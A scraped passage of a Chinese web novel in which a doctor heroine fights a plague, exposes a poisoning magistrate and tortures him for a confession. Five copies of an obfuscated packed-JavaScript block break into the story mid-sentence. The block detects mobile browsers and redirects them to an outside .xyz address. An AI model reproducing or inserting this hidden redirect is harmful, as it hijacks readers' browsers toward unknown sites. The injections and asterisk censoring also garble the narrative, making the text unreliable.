突然,一阵凄厉的哭声从前方传来。沈砚白浑身一僵,握紧了柴刀:“什么声音?” 拨开齐人高的灌木丛,眼前的景象让他们倒吸一口冷气。 三个村民正围着一口黑棺材,棺材缝里渗出绿色的黏液。 一个披头散发的女人跪在旁边,哭嚎着:“我男人没死!他只是睡着了!你们不能把他埋了!” “疯婆娘!”一个壮汉举起锄头要砸,“人都烂成这样了还说胡话!” 姜绾歌注意到棺材缝里露出的半截手臂——皮肤呈诡异的青紫色,却没有半点腐烂的迹象。 “等等!”她冲上前拦住壮汉,“让我看看。”用银针扎进尸体的指尖,针尖瞬间变成黑色。 “是尸毒。”她皱眉道,“但和普通尸毒不一样,毒性里混着瘟疫的邪气。” “那现在怎么办?”沈砚白咽了咽口水,“还要去找草药吗?” “必须找。”姜绾歌刚转身,就听见身后传来“咔嚓”一声脆响。 那个女人不知什么时候扑到棺材上,徒手扒开了棺盖!一股墨绿色的烟雾冲天而起,沈砚白反应迅速,扯过衣襟捂住口鼻,一把将姜绾歌往后拽。 “快屏住呼吸!”姜绾歌拽着他狂奔。 身后传来村民们的惨叫,回头望去,那些吸入毒烟的人正在疯狂抓挠自己的皮肤,伤口处涌出黑色的脓血。 好不容易跑到安全地带,沈砚白撑着膝盖大口喘气:“这地方太邪门了!草药要是长在这种地方,怎么采?” 姜绾歌却盯着地上的一滩水渍出神。那水渍泛着淡淡的蓝光,在枯叶堆里格外显眼。 “跟我来。”她顺着水渍往前找,终于在一处断崖边停下。崖壁上垂挂着几株蓝紫色的植物,在暮色中散发着幽幽冷光——正是冰魄草! 但想要采到草药并不容易。断崖近乎垂直,下面是深不见底的浓雾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777475|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜绾歌解下腰带,一头系在旁边的老松树上:“我下去采,你在上面拉着。” “不行!”沈砚白夺过腰带,“你是大夫,比我金贵!我去!”不等姜绾歌阻拦,他已经顺着崖壁滑了下去。 冰魄草长在凸起的一块岩石上,沈砚白一只手抓着岩壁上的藤蔓,另一只手去够草药。 就在指尖快要碰到冰魄草的瞬间,藤蔓突然断裂!沈砚白惨叫一声,整个人往下坠去。 千钧一发之际,姜绾歌死死拽住腰带,腰部被勒得生疼。她咬紧牙关,拼尽全力往上拉,指甲在岩石上划出深深的血痕。 终于把沈砚白拉上来时,两人都瘫倒在地。沈砚白的手臂被岩石划出长长的伤口,鲜血直流,却还紧紧攥着几株冰魄草:“拿到了......” “别说话!”姜绾歌撕下裙摆给他包扎,“先回城隍庙!” 等他们跌跌撞撞回到庙里,发现情况比想象中更糟。 原本还能呻吟的病人已经没了动静,活着的人开始出现抽搐症状。 姜绾歌顾不上休息,立刻将冰魄草捣碎入药。药汤熬好时,天已经完全黑了。 “希望还来得及......”她端起药碗,手却突然顿住。 系统在脑海中发出警报:检测到新型变异毒株,冰魄草对新毒株抑制率不足30%! 沈砚白看着她突然煞白的脸,声音发颤:“怎么了?草药......不管用?” 姜绾歌把药碗重重一放,冲着系统在心里骂:早干嘛去了!现在才说冰魄草不管用! 沈砚白吓得一哆嗦,她才反应过来自己急红眼了。 这草白采了!她抓着头发在庙里转圈圈,突然踢开脚边的破筐,但肯定有办法!古代没抗生素不也治病救人? 沈砚白刚要说话,就被她打断:别慌!先捋清楚——病人吃了发霉粮食才加重,说明毒素升级了! 听着外面又传来撕心裂肺的咳嗽声,姜绾歌突然眼睛一亮:粮仓!污染源肯定在粮仓!沈砚白你脑子快,想想发霉粮食最怕什么? 第86章 壮汉阻挠 姜绾歌背着一篓刚采到的寒玉菇,快步穿过青芦镇泥泞的小路。 冷风卷着潮湿的腐气扑面而来,她紧了紧斗篷,加快脚步朝破庙赶去。 庙内,沈砚白正守在病人身旁,见姜绾歌回来,立刻迎上前:“如何?” “采到了。”她喘着气,将背篓放下,从里面取出几株泛着幽蓝光泽的寒玉菇,“这药性极烈,需小心熬制,否则反成剧毒。” 沈砚白点头,迅速架起药炉,姜绾歌则取出随身携带的银针,再次检查病人的脉象。 榻上的男子面色青紫,呼吸微弱,脖颈处的黑斑已蔓延至胸口。她眉头紧锁,低声道:“再拖半日,怕是神仙难救。” 药汁翻滚,寒玉菇在沸水中渐渐融化,散发出一股刺鼻的腥苦味。 姜绾歌小心控制火候,额角渗出细密的汗珠。 突然,庙门被人猛地推开,几个衣衫褴褛的镇民闯了进来,为首的壮汉满脸怒容:“你们在煮什么**?是不是想害死我们?!” 姜绾歌手一顿,抬眼望去,见几人神色惊惶,显然是被瘟疫吓破了胆。 她镇定道:“这是解药,能救你们的命。” “胡说!”壮汉厉声打断,“前日官府的人也说能治,结果喝了药的人死得更快!”他大步上前,竟要掀翻药炉。 姜绾歌眼疾手快,抄起一根木棍抵住他的手腕,冷声道:“你若不信,大可以等我们试过再说。但若现在毁了药,这里的人一个都活不了。” 壮汉被她凌厉的目光震住,一时迟疑。沈砚白适时上前,温声道:“这位大哥,我们也是来救人的,若药有问题,我们第一个遭殃,何必自寻死路?” 壮汉盯着药炉,又看了看榻上奄奄一息的病人,眼中满是怀疑与挣扎。 他握紧拳头,指节发白,声音沙哑:谁知道你们安的什么心?官府派来的大夫前日也说是救命的药,结果喝了的人当晚就吐血**! 姜绾歌没有急着辩解,而是平静地看向他:官府给的药里,是不是加了朱砂和雄黄? 壮汉一愣:你怎么知道? 因为那根本不是治瘟疫的方子。她语气沉稳,朱砂燥热,雄黄性烈,用在寒毒入体的病人身上,只会催命。 胡说八道!壮汉身后的瘦高个突然插嘴,李大夫在镇上行医二十年,难道还不如你一个黄毛丫头懂? 姜绾歌不急不恼,从药篓里取出一株寒玉菇:你们可认得这个? 众人面面相觑,显然不识。她继续道:这是寒玉菇,只长在背阴的悬崖边,性极寒,能克热毒。你们若不信,我可以先试药。 说罢,她取了一小勺刚熬好的药汁,当众饮下。 姑娘!沈砚白一惊,想要阻拦却已来不及。 药汁入喉,姜绾歌面色如常,只是眉心微微蹙起——这药确实极苦。她放下药勺,直视壮汉:现在,可信了? 壮汉盯着她的脸,似乎在判断她是否会毒发。过了半晌,他粗声粗气道:就算你没下毒,又怎么证明这药真能治病?万一只是拖延时间...... 拖延时间对我有何好处?姜绾歌反问,若我想害人,大可以一走了之,何必留在这里冒险? 瘦高个嘀咕:说不定是想**...... 沈砚白终于忍不住开口:诸位,我们分文未取,反倒搭上了自己的药材。若真要**,何不去富户家里行骗? 壮汉眼神闪烁,内心天人交战。他想起家中高烧不退的老母,又想起昨日惨死的邻居。最终,他狠狠抹了把脸:好!我就信你一回!但若这药有问题...... 若有问题,姜绾歌斩钉截铁地打断,我以命相抵。 这句话掷地有声,庙内顿时安静下来。 壮汉怔了怔,终于退后两步,让出了通往药炉的路。 但他仍紧握柴刀站在一旁,眼睛死死盯着姜绾歌的每一个动作,仿佛随时准备出手。 药熬好后,姜绾歌小心喂给病人。起初,病人浑身痉挛,嘴角溢出血丝,壮汉见状立刻怒骂:“果然有毒!” 姜绾歌却按住病人手腕,沉声道:“别急,这是寒玉菇在逼出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777476|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他体内的毒血。” 果然,片刻后,病人呼吸渐稳,青紫的面色也缓和了几分。 壮汉瞪大眼睛,难以置信:“真……真有效?” 姜绾歌点头,迅速写下药方递给沈砚白:“按这个方子,多熬几锅,分给重症的人。” 消息很快传开,越来越多的病患被抬进破庙。 姜绾歌忙得脚不沾地,连喝口水的功夫都没有。 就在她以为局势终于好转时,庙外突然传来一阵嘈杂声。 一队衙役闯了进来,为首的捕快冷眼扫视众人,厉声道:“谁准你们私自熬药治病的?!” 姜绾歌抬头,见对方神色不善,心知不妙。 果然,捕快下一句便是:“青芦镇的瘟疫由官府统一处置,闲杂人等不得插手,违者以谋逆论处!” 百姓们顿时慌了,有人哀求道:“大人,这药真的有效啊!” 捕快冷笑:“有效?谁知道是不是障眼法?来人,把药炉砸了!” 衙役们立刻上前,姜绾歌猛地站起身,挡在药炉前,厉声道:“你们若毁了药,这里的百姓必死无疑!官府若真有办法,为何至今无人得救?” 捕快被问得一滞,随即恼羞成怒:“放肆!给我拿下她!” 衙役冲上来,姜绾歌迅速从袖中抽出一根银针,抵在捕快的脖颈处,冷声道:“再动一步,我就让你尝尝寒玉菇的毒。” 捕快脸色阴晴不定,握着刀柄的手紧了又松。 寒玉菇?他冷笑一声,眼角抽搐,你当本捕头是吓大的?这破地方哪来的寒玉菇? 姜绾歌的银针纹丝不动:北崖背阴处,三丈高的石缝里,要爬过毒蛇窝才能采到。 她突然将针尖往前送了半寸,要不要试试看是不是真的? 捕快颈间传来刺痛,额头渗出冷汗。他强撑着吼道:你敢伤官差?!按律当斩! 斩我?姜绾歌忽然笑了,那谁来救青芦镇三百多口人?你们县太爷吗? 她眼神锐利如刀,听说他早就把家眷送去州府了。 第87章 知县 身后的衙役们骚动起来。一个年轻衙役小声道:头儿,我娘还在镇上...... 闭嘴!捕快厉喝,却明显底气不足。他盯着姜绾歌的脸,突然眯起眼睛:你说是解药,为何先前李大夫开的药会吃**? 因为那不是治瘟疫的方子。姜绾歌语速飞快,朱砂三钱,雄黄五钱,**二分——这是驱虫的方子,用在人身上就是催命符! 捕快瞳孔骤缩。这个配方...和县太爷交给李大夫的纸条上一模一样。 不信?姜绾歌突然扯开病人衣襟,露出胸口的紫斑,真正瘟疫的毒斑是蛛网状扩散,而****的斑点是...... 够了!捕快猛地打断,脸色发青。他当然知道差别——三天前他亲手往药包里掺的**。 沈砚白敏锐地注意到捕快的异常,突然高声道:这位差爷,您额角冒汗,手指发抖,莫非也染了疫症? 胡说!捕快像被烫到般后退两步,却控制不住去摸自己的脖子。这个动作让姜绾歌眼睛一亮。 寒玉菇能防未病。她突然放柔语气,差爷若行个方便,我愿奉上预防的药剂。 捕快内心剧烈挣扎。 僵持之际,沈砚白忽然高声道:“诸位乡亲,这位姑娘是奉皇命前来治疫的,你们若阻挠,便是抗旨!” 捕快一愣:“皇命?有何凭证?” 姜绾歌心念电转,从袖口处的空间里掏出那块令牌,亮在众人面前:“此物可证。” 令牌在火光下泛着冷光,捕快虽不识得,但见其质地不凡,一时不敢造次,只得悻悻退后:“既如此,我等便回去禀报大人。” 待衙役离开,百姓们纷纷跪地叩谢,姜绾歌却无半点喜色。 御书房内,烛火在鎏金烛台上轻轻摇曳。 顾铭轩放下朱笔,指尖无意识地摩挲着腰间玉佩上的龙纹。窗外传来三声鹧鸪鸣叫——是暗卫的信号。 进来。顾铭轩的声音低沉。 一道黑影悄无声息地滑入,跪在光影交界处:禀陛下,王妃娘娘…...不在府中。 顾铭轩的手指骤然收紧,玉佩发出细微的脆响:说清楚。 娘娘三日前以省亲为由离府,实则...暗卫首领萧沉顿了顿,混入了前往青芦镇的医队。 胡闹!顾铭轩猛地起身,案上茶盏被袖风扫落,碎瓷四溅。他强迫自己冷静下来:她带了多少人? 独自前往。暗卫从怀中取出一物,娘娘用的是...…这个。 顾铭轩瞳孔微缩,那是他之前私赠姜绾歌的令牌。 青芦镇现在什么情况? 疫情凶猛,已有百余人暴毙。 顾铭轩眼神骤冷。 青芦镇危机重重。 他突然转身从暗格取出一幅地图:飞鸽传书给精锐兵,暗中保护王妃,记住,若被她察觉... 属下明白,绝不拖王妃后腿。 与此同时,姜绾歌对沈砚白道:官府这群疯狗既然闻着味儿来了,我们得让他们知道,咬错人是要掉牙的。 果然,没过多久,一阵马蹄声由远及近,伴随着百姓们的惊呼声,一队人马疾驰而来,停在了破庙前。 为首的是一个身着锦袍的中年男子,身旁跟着几个师爷模样的人,气势汹汹地走进庙内。 “就是你,竟敢私自救治瘟疫病患,还敢伪造皇命令牌?”中年男子目光如鹰,紧紧盯着姜绾歌,眼神中透露出一丝狠厉。 姜绾歌闻言嗤笑一声,指尖轻抚着令牌上的纹路:大人这话说得有趣,我若是伪造令牌,为何不干脆造个更大的? 她突然眼神一厉,还是说大人觉得,这天下除了您,就没人认得真东西了?” 中年男子冷笑一声:“哼,我乃此地知县,这青芦镇瘟疫一事,朝廷早有安排,轮不到你这不知从哪冒出来的丫头插手。你说令牌是真,可有证据?” 姜绾歌指尖一弹令牌,发出清脆的声响:大人若真怀疑这令牌真假,不如现在就派人快马加鞭去问问那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777477|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵人? 她唇角勾起一抹冷笑,不过可要想清楚了——等信使来回的功夫,这满城的瘟疫怕是早就传到大人府上了。 知县身旁的师爷阴阳怪气地插嘴道:“查验?这一来一回要耗费多少时日?在此期间,若是疫情扩散,谁来担这个责任?依我看,这丫头就是在拖延时间,说不定背后还有什么不可告人的阴谋。” 姜绾歌眸色一冷,指尖银针寒光乍现:师爷这张嘴倒是比**还毒。 她突然提高声调,让满庙百姓都听得真切:诸位都看好了——这位师爷宁可看着你们等死,也要拦着大夫救人! 她转向知县,字字诛心:大人今日若执意阻挠,他日瘟疫传入京城,第一个掉脑袋的会是谁? 知县眉头紧皱,心中有些犹豫。 就在这时,一个师爷凑到他耳边低语几句,知县脸色微变,随后冷哼道:“哼,你说你能治病,那好,本县倒要看看你到底有多大本事。听闻这瘟疫传染性极强,若你能在三日之内,控制住疫情不再扩散,本县便相信你。否则,就别怪本县不客气。” 姜绾歌闻言冷笑一声,指尖轻叩药炉边缘:大人这条件倒是提得轻巧。她突然逼近一步,压低声音道:不过既然大人想看我的本事——不如我们打个赌?若三日内控制不住疫情,我任凭处置;但若成了...她目光如刀扫过在场衙役,我要大人亲自为这些病患端药喂饭! 知县脸色瞬间铁青,猛地一拍桌案:放肆!你算什么东西,也配与本官打赌? 姜绾歌不慌不忙地整了整衣袖,唇角勾起一抹讥诮:大人这么大火气,莫不是心虚了?还是说...她突然提高声调,您根本就没打算让这些百姓活命? 胡说八道!知县额头青筋暴起,本官乃朝廷命官,岂容你一个贱民污蔑! 朝廷命官?姜绾歌冷笑一声,从药篓中取出一株草药,那大人可认得这是什么? 师爷凑上前一看,顿时变了脸色:大、大人,这是...... 第88章 拿下知县 紫灵芝,专解**之毒。姜绾歌慢条斯理地碾碎药草,巧得很,这几日我在病患体内都发现了微量**。大人要不要解释解释,为何官府发放的"救命药"里会掺着**? 知县脸色由青转白,强撑着喝道:妖言惑众!来人,给我拿下这个妖女! 衙役们刚要上前,姜绾歌突然将手中的药粉扬向空中:想清楚了再动手!这药粉沾身,三日之内必全身溃烂而亡! 衙役们顿时僵在原地,不敢妄动。 知县气得浑身发抖:你、你敢威胁朝廷差役?! 威胁?姜绾歌轻笑,我这是在救他们的命。倒是大人...她突然从袖中抽出一张药方,这份加盖县衙大印的药方上,明明白白写着**二分。大人要不要当众念念? 围观的百姓顿时哗然,有人高喊:原来真是官府下毒! 知县慌乱地后退两步:假的!这药方是伪造的! 是吗?姜绾歌转向师爷,那请师爷说说,这印章上的暗记是怎么回事?我记得朝廷规制,县级官印右下角都该有个小小的"安"字吧? 师爷双腿一软,直接跪倒在地。 知县见大势已去,突然狞笑道:就算如此,你以为你能活着走出青芦镇?他一挥手,弓箭手准备! 姜绾歌却突然笑了:大人不妨回头看看? 知县转身,只见庙外不知何时已围满了手持农具的百姓,为首的正是之前那位壮汉:狗官!敢害我们亲人,今天就要你偿命! 知县脸色瞬间惨白如纸,踉跄着后退几步,官靴绊在门槛上险些摔倒。他颤抖的手指指着门外愤怒的百姓:反了!都反了!你们这是要**! 姜绾歌轻抚着腕间的银针,悠然道:大人此言差矣。百姓求活命,天经地义。倒是大人... 她突然眼神一厉,私改朝廷药方,残害百姓性命,这才是诛九族的大罪! 你、你血口喷人!知县色厉内荏地吼道,额角渗出豆大的汗珠。 是不是血口喷人,大人心里清楚。姜绾歌从怀中掏出一本账册,在手中轻轻拍打。 昨夜我顺手去县衙库房转了转,发现个有趣的东西。大人要不要听听,去岁漕粮的实数与上报朝廷的数目差了多少? 师爷闻言,直接瘫软在地:完了......全完了...... 知县双目赤红,突然拔剑指向姜绾歌:妖女!都是你!本官今日就要—— 剑光未至,姜绾歌足尖轻点后退三步,怀中账册突然被劲风卷出,哗啦一声展开在半空。 泛黄纸页上密密麻麻的字迹在阳光下清晰可见,漕粮亏空、虚报赈银的记录如同利箭,将在场众人惊得呆立当场。 且慢!一声断喝自庙外传来。一队玄衣劲装的侍卫排开人群,为首之人掀开披风,腰间金牌在日光下泛着冷光,刑部奉旨查案,闲杂人等退下! 知县握着剑的手剧烈颤抖,脸上血色尽褪。姜绾歌望着那面熟悉的金牌,唇角勾起一抹意味深长的笑。 周文远,刑部侍郎大步上前,目光如刀剜向知县,圣上早对青芦镇瘟疫存疑,特命我暗中彻查。没想到你竟敢篡改药方、中饱私囊,甚至妄图杀害有功之人! 他抬手示意,拿下! 衙役们见势不妙,纷纷抛下兵器跪地求饶。知县却突然疯狂大笑,剑锋一转抵住自己咽喉:想抓我?做梦!姜绾歌,你以为赢了?这青芦镇不过是冰山一角,背后的势力... 剑光乍起时,姜绾歌抄起案上捣药的臼杵,猛地砸向知县持剑的手腕。 青铜臼杵重重撞上骨骼,传来令人牙酸的脆响,知县惨叫着松开长剑,踉跄着跌坐在药渣遍布的地上,被几个百姓眼疾手快地死死按住。 想死?姜绾歌踩着满地账本逼近,银针在烛火下泛着幽蓝,大人这一死,可就没人对漕粮亏空、草菅人命的事负责了。 她突然揪住知县衣领,从药篓里摸出个瓷瓶倒出药粉,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777478|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我特制的蚀骨散,抹在伤口上能让你痛足七日七夜。说着将药粉洒在知县方才被臼杵砸出的淤青处。 知县脖颈青筋暴起,刚要破口大骂,伤口处突然传来万蚁噬心般的剧痛。 他在地上翻滚哀嚎,冷汗浸透官服:你、你这妖女! 不过是让大人尝尝,那些被掺毒"救命药"折磨的百姓,到底有多痛苦。 姜绾歌将银针轻轻刺入他肩头,解药? 她晃了晃腰间药囊,要看大人能交代出多少东西。永盛商行的底细,还有背后主子的身份——说一句假话,我就加一味毒。 围观百姓群情激愤,有人举起火把高喊:让狗官游街!让他给死去的亲人偿命! 姜绾歌抬手示意众人安静,转头对刑部侍郎道:大人既奉旨查案,不如将这等贪官污吏押解回京,让圣上和百姓都看看,所谓朝廷命官是如何鱼肉乡里。 知县被拖出破庙时已痛得几近昏厥,姜绾歌当众抖开漕粮账本,字字如刀:诸位请看,这些"赈灾银"都进了谁的口袋!这狗官克扣粮饷、私通商人,连救命的药材都敢下毒! 人群中爆发出震天的怒吼,几个失去亲人的百姓冲上前,将烂菜叶砸在知县脸上。 姜绾歌将沾满血污的银针在衣襟上擦拭干净,转头望向满地病患。刑部侍郎拱手道:姜姑娘,如今人证俱获,这疫病...... 大人且看这个。她从药篓里取出个布包,展开后露出几截发黑的草药根茎,这些是从死者胃里取出的残留物,除了**,还有一种西域毒草"断肠藤",专门克制我开的药方。 她将草药递给侍郎,有人想借官府之手,将这锅脏水彻底泼在我身上。 话音未落,庙外突然传来哭喊声。 一个妇人抱着高烧昏迷的孩子冲进来:大夫!求求你们,救救我的儿!他今早突然就开始咳血! 姜绾歌快步上前,银针探入孩子腕间,针尖瞬间变成青黑色。 第89章 危机再起 不好!病情又异变了!她猛地扯开孩子衣襟,只见胸口已浮现蛛网般的紫纹。 转头厉声道:沈砚白,立刻将所有病患按症状分类!用黄连、苦参煎水,先稳住毒性! 姜绾歌抓起药碾,将紫灵芝与牛黄狠狠捣碎。 突然想起什么,对刑部侍郎道:大人,劳烦封锁城门,禁止任何人出入!再派人去药铺收缴断肠藤,一根都不能留!侍郎立即领命而去。 夜幕降临时,破庙里架起了十口大锅。 姜绾歌看着沸腾的药汤,突然将一把银针投入锅中:所有接触病患的人,必须用这药水净手。她望向蜷缩在角落的师爷,你,过来。 师爷浑身发抖地爬过来。 姜绾歌扯住他衣领:知县书房暗格里,除了账本还有什么?快说!师爷牙齿打颤:有、有个檀木匣子...里面装着密信... 沈砚白,你带人去取!姜绾歌将一叠药方塞进他手里,顺便去牢里,给知县服下"七日散"——让他好好想想,该怎么交代永盛商行的事。 子夜时分,沈砚白带回一个刻着缠枝莲纹的匣子。 姜绾歌打开,里面赫然是一张标注着各地药庄的地图,还有一封盖着五城兵马司印信的密函。 她冷笑一声,将密函凑近烛火:果然是盘大棋。 此时,一个百姓慌慌张张跑来:姜大夫!西巷王家娘子不行了!姜绾歌抓起药箱就跑,身后传来沈砚白的喊声:小心!她咳出来的血沫带毒! 破庙的烛火彻夜未熄。 当第一缕阳光照进镇子时,姜绾歌倚着药炉打了个盹。 她的发间沾着药渣,衣襟上满是血渍,却突然笑了——锅里的新药方已经熬了三沸,是用毒攻毒的法子。 姜姑娘!一个衙役跑来,按您说的,在知县小妾房里搜出了断肠藤!还有账本.….. 姜绾歌摆摆手,将一碗药汁灌进最近的病患口中:先救人。等疫情控制住,再慢慢跟他们算账。 她望向渐渐苏醒的百姓,指尖抚过腰间的银针。 灶台上的药锅咕嘟咕嘟冒着热气,蒸腾的白雾模糊了她汗湿的鬓角。 浓烟裹着药香钻进鼻腔,她指尖无意识地摩挲着药罐边缘,忽然想在系统里搜过的三方古方。 紫雪丹、苏合香丸、玉枢丹...她喃喃自语,猛地转头冲沈砚白喊道:小白!你骑马去城西药铺,把这三样丹药全搜罗来!要是不够,就去隔壁镇子挨家问! 沈砚白攥紧腰间钱袋,衣摆扫过满地药渣:哎!我这就去!马蹄声惊飞檐下麻雀时,姜绾歌已经蹲在王阿婆床边,用帕子蘸温水擦她额角的冷汗。 阿婆再忍忍,等会儿喝口带蜜的药就好受些。她轻声哄着,余光瞥见阿婆脖颈新冒出的红疹,心尖猛地一揪。 墙角传来孩童的咳嗽,像破了洞的风箱,每一声都扯得她胸腔发疼。 张婶,把窗边炭盆再添把火!寒冥草怕热!她扯着嗓子喊,袖口蹭过药罐时带翻了竹筛,陈皮簌簌落进火里,腾起一缕苦香。 卯时三刻,沈砚白的马蹄声终于撞破晨光。他跃进院门时衣摆溅着泥点,怀里鼓鼓囊囊:姜姑娘!找齐了! 他掏出用油纸包着的丹药,掌心还沾着褐色药粉,城西药铺的刘大爷听说咱这儿的事,连压箱底的十年陈苏合香丸都给了! 姜绾歌接过纸包,指尖触到油纸粗糙的纹路。 快拿捣药罐!她将丹药倒进粗陶钵里,木杵落下时发出咚咚的闷响。 赤阳藤的辛辣混着苏合香的浓冽在空气中炸开,她屏住呼吸数着捣药次数,每一下都像敲在自己心尖上。 三钱紫雪丹、两钱玉枢丹...她轻声念叨,将粉末撒进药锅,白汽骤然腾起,在她眼底凝成一片薄雾。 第一碗药端到李大叔床前时,满屋子的目光都粘在碗沿上。 汉子嘴唇干裂,咳出的血沫已经发黑,却还硬撑着要起身:姜大夫,我这把老骨头...先紧着孩子喝...< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777479|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜绾歌按住他肩膀,触到他肩胛骨硌手的轮廓,喉咙突然发紧:您先喝,我看着您咽下去。 她舀起一勺吹了吹,递到汉子唇边,瓷勺碰到牙齿发出细碎的响。 屋内炭火烧得正旺,铜漏里的细沙簌簌落下。 姜绾歌数到第一百八十下时,李大叔忽然伸手扯住她袖口:怪了...胸口没那么疼了...她猛地抬头,看见汉子眼角的紫斑竟淡了些,指尖颤抖着搭上他腕脉——脉搏虽仍虚浮,却比半个时辰前稳了许多! 成了!不知谁先喊了一嗓子,王阿婆的儿媳当场哭出声来。 姜绾歌转身时撞翻了身后的药凳,却顾不上疼,抓起木勺就往灶台跑:快!按这方子再熬十锅!张大哥,你带几个兄弟去搬柴火!刘婶,把镇东头的老井水挑来! 日头升到中天时,庙外突然传来马蹄声。 **个背着药箱的大夫挤进院门,为首的白胡子老者抹着额头的汗:可是姜姑娘?老朽在三十里外就听说这儿有位神医女菩萨! 姜绾歌愣在原地,看着他们衣襟上沾的草屑。 快请进!她抹了把脸,不知道是汗还是泪,大伙儿搭把手,把新熬的药分给后巷的孩子们!王大哥,您带两位大夫去南街,那儿的病患需要艾草熏穴! 老大夫们立刻散开,有人蹲在灶台前看药方,有人掏出银针给轻症患者施针。 姜绾歌看着满院子忙碌的身影,忽然听见墙角传来轻轻的笑声——是那个总爱哭的小囡囡,正攥着沈砚白送的拨浪鼓,脸上终于有了血色。 三日后,青芦镇城门缓缓打开。晨光里,姜绾歌背着药箱站在城门口,衣袖还沾着未洗去的药渍。 昨夜她终于合眼睡了两个时辰,眼下仍凝着青黑。 姜姑娘!身后传来清脆的呼喊,小囡囡跌跌撞撞跑过来,手里攥着一束野菊:给你! 孩子身后跟着十几个百姓,有人捧着新蒸的米糕,有人提着装满清水的葫芦。 第90章 镇北王 李大叔拄着拐杖走在前头,脖颈的紫斑已褪成淡粉:姜大夫,留下来吧!镇上给你盖间大医馆! 姜绾歌眼眶发热,刚要开口,刑部侍郎的官轿停在身侧。 轿帘掀开,侍郎捧着个锦盒走出:姜姑娘救民于水火,百姓特制一面锦旗给你。” 她却摇摇头,指尖抚过锦旗上的字:谢大人美意,但青芦镇的疫病虽止,暗处的手还没断。 人群突然安静。沈砚白红着眼眶递来包裹:那我跟你去! 姜绾歌从药箱里摸出一把银针,在晨光中晃了晃:好!但丑话说在前头,跟着我可没好日子过。 天黑透了,姜绾歌和沈砚白找刑部侍郎去牢房里看知县。 姜绾歌的指尖碾过断肠藤发黑的茎脉,烛火在瞳孔里晃出细碎的金芒。 刑部侍郎盯着那截毒草,手按剑柄的指节泛白:西域毒草流入中原,必是有人暗中操办。 他看着姜绾歌说:“得亲自问问那个周文远。” 牢门吱呀一声开了,腐草味混着铁锈味扑面而来。 沈砚白举着灯笼紧跟在姜绾歌身后,烛光把三人影子扯得老长,在潮湿的砖墙上晃成扭曲的鬼面。 知县周文远蜷缩在稻草堆里,听见脚步声猛地抬头,浑浊的眼球在烛光里抖得像筛糠。 “周大人,别来无恙?”姜绾歌蹲下身,指尖碾过他腕间肿得发亮的伤口,“蚀骨散的滋味如何?” 知县猛地往后缩,稻草簌簌落进后颈:“你、你这妖女!朝廷律法……” “律法?”刑部侍郎冷笑一声,手按剑柄往前半步,“你私改药方害人性命时,可曾想过律法?” 他靴尖踢了踢地上的半碗馊粥,“说吧,永盛商行的东家是谁?” 周文远咬着牙不吭声,喉结在松弛的皮肤下滚动。 姜绾歌慢悠悠地打开瓷瓶,蚀骨散的粉末在烛光下泛着幽蓝:“昨夜你疼得满地打滚时,可是喊了‘安爷饶命’——” 她突然把粉末洒在伤口上,“这‘安爷’,究竟是哪家的爷?” “啊!”知县惨叫着往后撞在石壁上,腕间瞬间鼓起紫黑的脓包,“别、别撒了!我说……” 他哆嗦着舔了舔干裂的嘴唇,“永盛商行的东家……姓安,单名一个‘承’字……是镇北王的幕僚!” “镇北王?”沈砚白猛地抬头,“就是掌管西北三州军权的那位?” 知县眼皮剧烈跳动,喉结又滚了滚。 